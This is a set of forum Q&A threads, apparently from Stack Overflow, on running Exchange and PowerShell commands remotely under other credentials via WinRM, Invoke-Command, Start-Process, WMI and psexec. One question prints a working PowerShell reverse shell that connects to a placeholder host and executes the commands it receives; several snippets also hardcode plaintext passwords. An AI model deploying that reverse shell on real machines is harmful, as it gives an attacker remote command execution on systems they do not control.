I am attempting to run the enable-mailbox command for existing users in Active Directory from a ruby script. I'm using this winrm gem. So far I have been able to connect to the exchange server using winrm and kerberos authentication. I can run an exchange management shell from powershell. From there I can execute exchange commands.
However, when I try to run enable-mailbox I get the following error:
Active Directory operation failed on . The supplied credential for
'domain\account' is invalid.
The 'operation failed on .' is verbatim. There is no text in the space where you would think there should be. The domain\account is the same one I'm using to successfully connect with winrm via kerberos.
Here's my simple code:
endpoint = 'http://server:5985/wsman'
krb5_realm = 'myrealm'
winrm = WinRM::WinRMWebService.new(endpoint, :kerberos, :realm => krb5_realm)
#exch_cmd = "Get-Help Enable-Mailbox" NOTE THAT THIS COMMAND WORKS FINE
exch_cmd = "Enable-Mailbox -Identity:'user DN' -Alias:'username' -Database:'mailbox'"
command = "powershell -psconsolefile \"C:\\Program Files\\Microsoft\\Exchange Server\\V15\\bin\\exshell.psc1\" -command \". "+exch_cmd+"\""
winrm.cmd(command) do |stdout, stderr|
STDOUT.print stdout
STDERR.print stderr
end
Thanks for any help!
We managed to get it to work. I had to first connect to a 'management' server to initiate the powershell command.
endpoint = 'http://YOURSERVER:5985/wsman'
krb5_realm = 'YOURREALM'
winrm = WinRM::WinRMWebService.new(endpoint, :kerberos, :realm => krb5_realm)
Then I had to modify the exchange command to this:
exch_cmd = "Enable-Mailbox -Identity:'DOMAIN/OU/#{fullname}' -Alias:'#{username}' -Database:'#{MailboxDB}'"
command = "powershell -NonInteractive -WindowStyle Hidden -command \" $username = '#{account}'; $password = ConvertTo-SecureString '#{password}' -asplaintext -force; $UserCredential = New-Object -TypeName System.Management.Automation.PSCredential -argumentlist $username,$password; $Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri #{server} -Authentication Kerberos -Credential $UserCredential; Invoke-Command -Session $Session {#{exch_cmd}}\""
On the Management and Exchange servers, the service account needs to be in the Remote Management Group. You also need to update the SDDL according to this guide: http://www.sevecek.com/Lists/Posts/Post.aspx?ID=280 Depending on your server config this will be different.
Related
So I have automation that logs into a Windows Server 2019 machine as one user, but then needs to run a command (Invoke-AdminCommand is application specific, not a built-in Windows cmdlet) as an admin user (and I do not want to add the logged in user as an Admin). I've followed answers from here (if you think this is a duplicate question) and none have worked. In the script I do a "whoami" to be sure the session is the correct user, and it is. But the command returns an application specific error stating the user does not have the correct permissions. If I RDP into the same machine as the admin user and run the same command through a Powershell CLI - it works fine.
$username = "domain\adminUser"
$password = "**********" | ConvertTo-SecureString -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$password
$s = New-PSSession -credential $cred
$sc = {
whoami
Invoke-AdminCommand -Register -Verbose
}
Invoke-Command -Session $s -Scriptblock $sc
Remove-PSSession $s
You may be hitting the double-hop problem. You are remoting to another server to run another command which itself requires authentication. If you can't lean on CredSSP (security risk) or proper account delegation (potentially high overhead in effort to maintain delegations at volume but this is the correct way to go about it).
Note: Basic auth will also work around this issue but I highly highly highly do not recommend using basic auth without at least setting up WinRM over SSL and removing non-HTTPS WinRM listeners.
Whether you are using Kerberos (without proper delegation or CredSSP) or NTLM (at all as NTLM cannot forward tokens) as the authentication scheme you can work around this by passing the credential information into Invoke-Command and building the credential in that script block, and using Start-Process to start it as a different user. Note that if you needed to elevate for UAC, the code would be different and this code will only work when you don't need UAC elevation:
# We will create the SecureString inside the Invoke-Command block
$password = "********"
# Use of a Dictionary instead of positional arguments and `param` in the block
# is a little trick you can use here.
Invoke-Command -Session $s -ArgumentList #{ Username = $username; Password = $password } {
$cred =
[PSCredential]::new($args.Username, ( $args.Password | ConvertTo-SecureString -AsPlainText -Force ))
# Placeholder for next part
}
So this is the boilerplate for what you want. You send the credentials to the remote server and build it there. How you execute this at # Placeholder for next part will depend on what exactly you are running:
External Command (executable)
Use Start-Process to run the program as the other user
Start-Process -Wait -Credential $cred program.exe -ArgumentList "arguments to the program here"
Any cmdlet which accepts a -Credential parameter or any command which accepts username and password arguments
Pass the credential argument directly to the cmdlet/function, or pass $args.Username and $args.Password to an external command which has username/password parameters directly. The below however exemplifies using this with a cmdlet and the -Credential parameter.
# Note that some cmdlets don't take a credential for whatever reason
# and may have -Username and -Password arguments instead.
Invoke-AdminCommand -Credential $cred -Register -Verbose
Any Function or Cmdlet which does not accept a -Credential parameter or username/password arguments
This is similar to the first example, but this example specifically targets running a bit of PowerShell code as another user for the code you want.
# This can be invoked without splatting but am using splatting for readability
$spArgs = #{
Credential = $cred
FilePath = 'powershell.exe' # You can use `pwsh.exe` for PS Core if necessary
ArgumentList = "-Command ""exampleProgram.exe -username $($args.Username) -password $($args.Password)"""
Wait = $true
NoNewWindow = $true
}
Start-Process powershell.exe
I am using the following script to retrieve Windows Defender status remotely.
$password = ConvertTo-SecureString “myPassword” -AsPlainText -Force
$credentials = New-Object System.Management.Automation.PSCredential (“myUserNamer”, $password)
$sessionOption = New-CimSessionOption -Protocol WsMan
$session = New-CIMSession -ComputerName myMachineName -Credential $credentials -SessionOption
Get-MpPreference -CimSession $session
However, I am quite new to PowerShell scripting and related protocols. Is this the best way of retrieving this information when I may have to run it over hundreds of computers?
Does it need to be for all the machines or selected ones?
For example:
You could run a remote session on the machine you need and then run the command.
Enter-PSSession [VMname]
Get-MpComputerStatus
Replace [VMname] with the name of the VM/Computer you're looking for.
Enter-PSSession Computer-01
Get-MpComputerStatus
If that's what you're looking for.
I have a remote windows machine sending me a shell to a linux machine using the following command:
$client = New-Object System.Net.Sockets.TCPClient("__HOST__",__PORT__);
$stream = $client.GetStream();
[byte[]]$bytes = 0..255|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
}
$client.Close();
From my linux command line i can enter commands using powershell on the remote windows machine. My goal is to change the shell to another user or run a script as another user.
I have attempted to use the following command to login as a new user:
runas /user:domaint\admin cmd.exe
however , Unfortunately the shell is not fully interactive and when it prompts for a password it quickly closes the prompt and awaits a new command.
is their anyway to force powershell to wait my response? or a way to get a fully interactive shell?
In a further attempt i have written the following script to execute my script as the other user however the 'test.ps1' does not execute:
$username = 'domain\user'
$password = 'pa$$word'
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
Start-Process test.ps1 -Credential $credential
I am aware this method is insecure however as i dont have the option to enter credentials i may need to store them in a script. ( this is for fun and challenge purposes).
Any advice on how i can fix my script to execute another script, or gain a fully interactive powershell terminal?
Thanks
you cannot create a fully interactive remote session using PowerShell and User interactive sessions are not best way to automate as well. You can use PowerShell core which is supported in linux. Then you can do remoting and Invoke-Command as different user. Read more about PowerShell core here and on linux here.
If you really need interactive session, then I recommend using psexec.exe with -i option which creates an interactive session.
psexec \\server -i powershell -file c:\test.ps1
I am trying to launch a process in Windows under specific user account.
While launching process with ProcessStartInfo works locally and when you have the active interactive session. It's not working in remote scenario where the active session is not present.
On Remote machine, Service ABC is running under admin account (domain\adminuser), which is launching the powershell.exe under same admin account to launch the script and drive the flow.
In the script, I am tried to launch process [non-interactive], but failed to launch the same.
$Processinfo = New-Object System.Diagnostics.ProcessStartInfo
$Processinfo.UseShellExecute = $false
$Processinfo.LoadUserProfile = $false
$Processinfo.CreateNoWindow = $true
$Processinfo.Username = "domain\user"
$Processinfo.PasswordInClearText = "testpass"
$Processinfo.FileName = "abc.exe"
I don't see a reason why I am not allowed to launch non-interactive process from Session 0
To run locally, you can simply use Start-Process
$Credentials = Get-Credentials
Start-Process -Credential $Credentials -FilePath 'C:\Windows\notepad.exe'
For Remote Machine you can use WMI Create using the -List Parameter:
(Get-WmiObject win32_process -ComputerName $computer -Credential $Credentials -List).Create("notepad")
I'm programatically launching a Google Cloud Compute Instance running Windows Server 2016 with a start up script.
The executable in the start up script requires to be launched as a specific user, so I'm trying to launch it with psexec to simulate said user:
C:/psexec.exe \\\\WIN-SERVER-2016 -u WIN-SERVER-2016\\customuser -p custompassword -accepteula -w "c:/app" cmd /c node index.js
c:/app/index.js contains a simple hello world, which should write to a file.
If I log in as any user and launch this exact command from cmd, the file is written. Launching from the startup script (supplied as windows-startup-script-cmd in the Google Cloud Compute Engine Instance) results in no file written.
What could be the solution? Is there a more efficient way to execute a start-up script as a specific user?
Looking at the concern , I would not recommend you to use PSEXEC .
NOrmally, we use PSExec in order to invoke a GUI in the remote system which PS doesn't support by native.
In your case, I would suggest you to run using the Invoke-Command
Something like this:
$username = 'WIN-SERVER-2016\customuser'
$password = "custompassword"
$secstr = New-Object -TypeName System.Security.SecureString
$password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
$Script_block = {cmd /c node index.js}
Invoke-Command -ComputerName WIN-SERVER-2016 -Credential $cred -ScriptBlock $Script_block
This should also take it from the Metadata key if you are using windows-startup-script-cmd
Note: I have not considered the accepteula -w "c:/app" part. Please incorporate the placeholders accordingly.
Hope it helps...!!!